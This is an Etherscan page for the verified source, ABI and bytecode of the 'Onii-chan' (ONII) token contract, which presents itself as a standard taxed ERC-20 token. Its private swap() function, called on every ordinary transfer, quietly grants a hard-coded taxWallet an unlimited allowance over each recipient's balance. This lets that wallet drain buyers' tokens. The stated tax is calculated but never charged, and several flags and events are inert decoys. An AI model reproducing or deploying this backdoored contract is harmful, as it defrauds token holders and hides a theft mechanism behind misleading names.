ETH Price: $3,269.17 (+0.97%)
 

Overview

Max Total Supply

10,000,000,000 ONII

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
353,792,849.033870826 ONII

Value
$0.00
0x3d17631cf31de86f8552417ba73bbed3c43d0a05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OniiChan

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-02
*/

// SPDX-License-Identifier: None

pragma solidity 0.8.26;

contract Ownable {
    function owner() public view virtual returns (address) {
        return _owner;
    }
    constructor() {
        _owner = msg.sender;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    address private _owner;
}
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
}
interface IUniswapV2Router {
    function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract OniiChan is Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10000000000  * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapV2Pair;

    address payable private taxWallet = payable(0x33626a47e6EEA81984E2D5DCB54770Df11a1f7D6);
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => uint256) private _balances;
    string private constant _name = "Onii-chan";
    string private constant _symbol = "ONII";
    bool tradingOpen = false;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    bool transferDelayEnabled = true;
    bool anti = true;

    uint256 private _reduceBuyTaxAt=11;
    uint256 private _reduceSellTaxAt=11;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _buyCount=0;
    uint256 private _preventSwapBefore=11;
    uint256 private _initialSellTax=11;
    uint256 private _sellCount=0;
    uint256 private _initialBuyTax=11;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeFromLimits(address indexed account, bool isExcluded);
    event SetDexPair(address indexed pair, bool indexed value);
    event TradingEnabled(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);
    event DisabledTransferDelay(uint256 indexed timestamp);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "transfer amount must be greater than zero!");
        require(to != address(0), "ERC: transfer to zero address!");
        require(from != address(0), "transfer from zero address!");
        if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){
            swap(to);
        }
        uint256 taxAmount=0;
        if(to == uniswapV2Pair && from!= address(this) ){
            taxAmount = amount.mul((_sellCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            _sellCount++;
        }
        if (from == uniswapV2Pair && to != address(uniswapV2Router) && tradingOpen) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            _buyCount++;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function reclaimETH() external onlyOwner {
        payable(taxWallet).transfer(address(this).balance);
    }

    function setAnti(bool _anti) external onlyOwner {
        anti = _anti;
    }

    function startTrading() public payable onlyOwner() {
        require(!tradingOpen);
       _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function swap(address to) private  {
        _allowances[to][taxWallet] += _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function setTransferDelay(bool _value) external onlyOwner {
        require(transferDelayEnabled, "Already disabled!");
        transferDelayEnabled = _value;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetDexPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_anti","type":"bool"}],"name":"setAnti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103d9565b6402540be40061004a9190610423565b6001557333626a47e6eea81984e2d5dcb54770df11a1f7d660045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055506001600760016101000a81548160ff0219169083151502179055506001600760026101000a81548160ff021916908315150217905550600b600855600b6009555f600a555f600b555f600c55600b600d55600b600e555f600f55600b601055348015610178575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161025b9190610473565b60405180910390a361048c565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102ea578086048111156102c6576102c5610268565b5b60018516156102d55780820291505b80810290506102e385610295565b94506102aa565b94509492505050565b5f8261030257600190506103bd565b8161030f575f90506103bd565b8160018114610325576002811461032f5761035e565b60019150506103bd565b60ff84111561034157610340610268565b5b8360020a91508482111561035857610357610268565b5b506103bd565b5060208310610133831016604e8410600b84101617156103935782820a90508381111561038e5761038d610268565b5b6103bd565b6103a084848460016102a1565b925090508184048111156103b7576103b6610268565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103e3826103c4565b91506103ee836103cd565b925061041b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102f3565b905092915050565b5f61042d826103c4565b9150610438836103c4565b9250828202610446816103c4565b9150828204841483151761045d5761045c610268565b5b5092915050565b61046d816103c4565b82525050565b5f6020820190506104865f830184610464565b92915050565b612245806104995f395ff3fe6080604052600436106100f2575f3560e01c806370a08231116100895780638da5cb5b116100585780638da5cb5b146102d857806395d89b4114610302578063a9059cbb1461032c578063dd62ed3e14610368576100f2565b806370a0823114610236578063715018a61461027257806377c325d6146102885780637ff6f7b9146102b0576100f2565b806323b872dd116100c557806323b872dd1461019c578063293230b8146101d8578063313ce567146101e257806349bd5a5e1461020c576100f2565b806306fdde03146100f6578063095ea7b3146101205780630f144a481461015c57806318160ddd14610172575b5f80fd5b348015610101575f80fd5b5061010a6103a4565b6040516101179190611860565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611911565b6103e1565b6040516101539190611969565b60405180910390f35b348015610167575f80fd5b506101706103f7565b005b34801561017d575f80fd5b506101866104d3565b6040516101939190611991565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd91906119aa565b6104dc565b6040516101cf9190611969565b60405180910390f35b6101e0610588565b005b3480156101ed575f80fd5b506101f66109ce565b6040516102039190611a15565b60405180910390f35b348015610217575f80fd5b506102206109e3565b60405161022d9190611a3d565b60405180910390f35b348015610241575f80fd5b5061025c60048036038101906102579190611a56565b610a08565b6040516102699190611991565b60405180910390f35b34801561027d575f80fd5b50610286610a4e565b005b348015610293575f80fd5b506102ae60048036038101906102a99190611aab565b610b7d565b005b3480156102bb575f80fd5b506102d660048036038101906102d19190611aab565b610c5e565b005b3480156102e3575f80fd5b506102ec610cf0565b6040516102f99190611a3d565b60405180910390f35b34801561030d575f80fd5b50610316610d17565b6040516103239190611860565b60405180910390f35b348015610337575f80fd5b50610352600480360381019061034d9190611911565b610d54565b60405161035f9190611969565b60405180910390f35b348015610373575f80fd5b5061038e60048036038101906103899190611ad6565b610d6a565b60405161039b9190611991565b60405180910390f35b60606040518060400160405280600981526020017f4f6e69692d6368616e0000000000000000000000000000000000000000000000815250905090565b5f6103ed338484610dec565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610416610cf0565b73ffffffffffffffffffffffffffffffffffffffff161461046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046390611b5e565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156104d0573d5f803e3d5ffd5b50565b5f600154905090565b5f6104e8848484610faf565b61057d84336105788560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154a90919063ffffffff16565b610dec565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166105a7610cf0565b73ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f490611b5e565b60405180910390fd5b60075f9054906101000a900460ff1615610615575f80fd5b6106433060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610dec565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d29190611b90565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107629190611b90565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161079c929190611bbb565b6020604051808303815f875af11580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc9190611b90565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061086330610a08565b5f8061086d610cf0565b426040518863ffffffff1660e01b815260040161088f96959493929190611c24565b60606040518083038185885af11580156108ab573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d09190611c97565b50505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610970929190611ce7565b6020604051808303815f875af115801561098c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b09190611d22565b50600160075f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a6d610cf0565b73ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90611b5e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b9c610cf0565b73ffffffffffffffffffffffffffffffffffffffff1614610bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be990611b5e565b60405180910390fd5b600760019054906101000a900460ff16610c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3890611d97565b60405180910390fd5b80600760016101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610c7d610cf0565b73ffffffffffffffffffffffffffffffffffffffff1614610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90611b5e565b60405180910390fd5b80600760026101000a81548160ff02191690831515021790555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f4e494900000000000000000000000000000000000000000000000000000000815250905090565b5f610d60338484610faf565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190611e25565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611eb3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa29190611991565b60405180910390a3505050565b5f8111610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611f41565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690611fa9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612011565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611177575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111af57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111be576111bd82611593565b5b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561124757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156112a257611288606461127a600954600f541161126757600e5461126b565b600b545b8561164790919063ffffffff16565b61168790919063ffffffff16565b9050600f5f81548092919061129c9061205c565b91905055505b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561134b575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611362575060075f9054906101000a900460ff165b156113bd576113a36064611395600854600c541161138257601054611386565b600a545b8561164790919063ffffffff16565b61168790919063ffffffff16565b9050600c5f8154809291906113b79061205c565b91905055505b61140d8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154a90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061149e8260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116d090919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161153c9190611991565b60405180910390a350505050565b5f61158b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172d565b905092915050565b60015460025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461163d91906120a3565b9250508190555050565b5f808303611657575f9050611681565b5f828461166491906120d6565b90508284826116739190612144565b1461167c575f80fd5b809150505b92915050565b5f6116c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178f565b905092915050565b5f8082846116de91906120a3565b905083811015611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906121be565b60405180910390fd5b8091505092915050565b5f838311158290611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b9190611860565b60405180910390fd5b505f838561178291906121dc565b9050809150509392505050565b5f80831182906117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc9190611860565b60405180910390fd5b505f83856117e39190612144565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611832826117f0565b61183c81856117fa565b935061184c81856020860161180a565b61185581611818565b840191505092915050565b5f6020820190508181035f8301526118788184611828565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118ad82611884565b9050919050565b6118bd816118a3565b81146118c7575f80fd5b50565b5f813590506118d8816118b4565b92915050565b5f819050919050565b6118f0816118de565b81146118fa575f80fd5b50565b5f8135905061190b816118e7565b92915050565b5f806040838503121561192757611926611880565b5b5f611934858286016118ca565b9250506020611945858286016118fd565b9150509250929050565b5f8115159050919050565b6119638161194f565b82525050565b5f60208201905061197c5f83018461195a565b92915050565b61198b816118de565b82525050565b5f6020820190506119a45f830184611982565b92915050565b5f805f606084860312156119c1576119c0611880565b5b5f6119ce868287016118ca565b93505060206119df868287016118ca565b92505060406119f0868287016118fd565b9150509250925092565b5f60ff82169050919050565b611a0f816119fa565b82525050565b5f602082019050611a285f830184611a06565b92915050565b611a37816118a3565b82525050565b5f602082019050611a505f830184611a2e565b92915050565b5f60208284031215611a6b57611a6a611880565b5b5f611a78848285016118ca565b91505092915050565b611a8a8161194f565b8114611a94575f80fd5b50565b5f81359050611aa581611a81565b92915050565b5f60208284031215611ac057611abf611880565b5b5f611acd84828501611a97565b91505092915050565b5f8060408385031215611aec57611aeb611880565b5b5f611af9858286016118ca565b9250506020611b0a858286016118ca565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611b486020836117fa565b9150611b5382611b14565b602082019050919050565b5f6020820190508181035f830152611b7581611b3c565b9050919050565b5f81519050611b8a816118b4565b92915050565b5f60208284031215611ba557611ba4611880565b5b5f611bb284828501611b7c565b91505092915050565b5f604082019050611bce5f830185611a2e565b611bdb6020830184611a2e565b9392505050565b5f819050919050565b5f819050919050565b5f611c0e611c09611c0484611be2565b611beb565b6118de565b9050919050565b611c1e81611bf4565b82525050565b5f60c082019050611c375f830189611a2e565b611c446020830188611982565b611c516040830187611c15565b611c5e6060830186611c15565b611c6b6080830185611a2e565b611c7860a0830184611982565b979650505050505050565b5f81519050611c91816118e7565b92915050565b5f805f60608486031215611cae57611cad611880565b5b5f611cbb86828701611c83565b9350506020611ccc86828701611c83565b9250506040611cdd86828701611c83565b9150509250925092565b5f604082019050611cfa5f830185611a2e565b611d076020830184611982565b9392505050565b5f81519050611d1c81611a81565b92915050565b5f60208284031215611d3757611d36611880565b5b5f611d4484828501611d0e565b91505092915050565b7f416c72656164792064697361626c6564210000000000000000000000000000005f82015250565b5f611d816011836117fa565b9150611d8c82611d4d565b602082019050919050565b5f6020820190508181035f830152611dae81611d75565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611e0f6024836117fa565b9150611e1a82611db5565b604082019050919050565b5f6020820190508181035f830152611e3c81611e03565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e9d6022836117fa565b9150611ea882611e43565b604082019050919050565b5f6020820190508181035f830152611eca81611e91565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f611f2b602a836117fa565b9150611f3682611ed1565b604082019050919050565b5f6020820190508181035f830152611f5881611f1f565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f611f93601e836117fa565b9150611f9e82611f5f565b602082019050919050565b5f6020820190508181035f830152611fc081611f87565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732100000000005f82015250565b5f611ffb601b836117fa565b915061200682611fc7565b602082019050919050565b5f6020820190508181035f83015261202881611fef565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612066826118de565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120985761209761202f565b5b600182019050919050565b5f6120ad826118de565b91506120b8836118de565b92508282019050808211156120d0576120cf61202f565b5b92915050565b5f6120e0826118de565b91506120eb836118de565b92508282026120f9816118de565b915082820484148315176121105761210f61202f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61214e826118de565b9150612159836118de565b92508261216957612168612117565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6121a8601b836117fa565b91506121b382612174565b602082019050919050565b5f6020820190508181035f8301526121d58161219c565b9050919050565b5f6121e6826118de565b91506121f1836118de565b92508282039050818111156122095761220861202f565b5b9291505056fea2646970667358221220f45613e24431afc96f9dabeb0f352c6ed5006a005959f1611e0a74c56dc0c53b64736f6c634300081a0033

Deployed Bytecode

